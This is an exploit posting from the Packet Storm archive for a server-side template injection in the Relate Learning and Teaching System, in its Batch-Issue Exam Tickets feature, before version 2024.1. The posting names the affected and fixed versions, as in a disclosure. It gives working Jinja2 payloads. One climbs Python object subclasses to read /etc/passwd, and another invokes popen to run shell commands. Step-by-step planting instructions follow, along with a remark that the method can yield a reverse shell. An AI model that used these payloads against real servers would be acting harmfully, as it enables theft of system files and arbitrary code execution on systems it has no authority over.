exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Relate Learning And Teaching System SSTI / Remote Code Execution

Relate Learning And Teaching System SSTI / Remote Code Execution
Posted Apr 24, 2024
Authored by kai6u

Relate Learning and Teaching System versions prior to 2024.1 suffers from a server-side template injection vulnerability that leads to remote code execution. This particular finding targets the Batch-Issue Exam Tickets function.

tags | exploit, remote, code execution
SHA-256 | fbbdfe373b7e6dd2a583a85798dfb1937651c42dbb791999bca4e6961e2b78e0

Relate Learning And Teaching System SSTI / Remote Code Execution

Change Mirror Download
# Exploit Title: Relate Learning And Teaching system Version before 2024.1 SSTI(Batch-Issue Exam Tickets function) lead to RCE
# Date: 24/04/2024
# Exploit Author: kai6u
# Vendor Homepage: https://github.com/inducer/
# Software Link: https://github.com/inducer/relate
# Affected Version:before 2024.1 (https://github.com/inducer/relate/commit/2fdbd4480a2d0a45c746639be244a61a0d4112b6)
# Fixed Version:2024.1 (https://github.com/inducer/relate/commit/d9fa7dcb84b8e5a64ce78ced4f56cdd61c0d59aa)
# Tested on: Ubuntu 22.04
# Summary:
SSTI in Batch-Issue Exam Tickets function of Relate Learning And Teaching system

# Description:
* 【Prerequisite】
* The attacker has stolen the privilege to issue exam tickets. For example, attacker is logged in as an course administrator.

* SSTI is in the `Batch-Issue Exam Tickets` feature, which allows user to specify the format in which tickets are distributed and uses a Django (Jinja2) template internally.

1) First, the attacker uses the Ticket Format feature to plant the following payload.
* Payload:
* `{{ 'abc'.__class__.__base__.__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read() }}`
* Note that the subclasses index number in the payload depends on the python version, so it must be changed depending on the environment.

2) Click an Issue Ticket including the above payload.
* Then you will see that the contents of the `/etc/passwd` file are output at the after Ticket Code block.

3) Next, the attacker modifies the above payload to execute arbitrary commands by changing the subclasses index number to the number of popen.
* Payload:
* `{{ 'abc'.__class__.__base__.__subclasses__()[210]('whoami',shell=True,stdout=-1).communicate()[0].strip() }}`

4) Click an Issue Ticket including the above payload.

* If you check the results, you will see that `ubuntu` is displayed, which is the result of executing the whoami command.
* An attacker can use this feature to execute reverse shell.

# References
https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection



Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close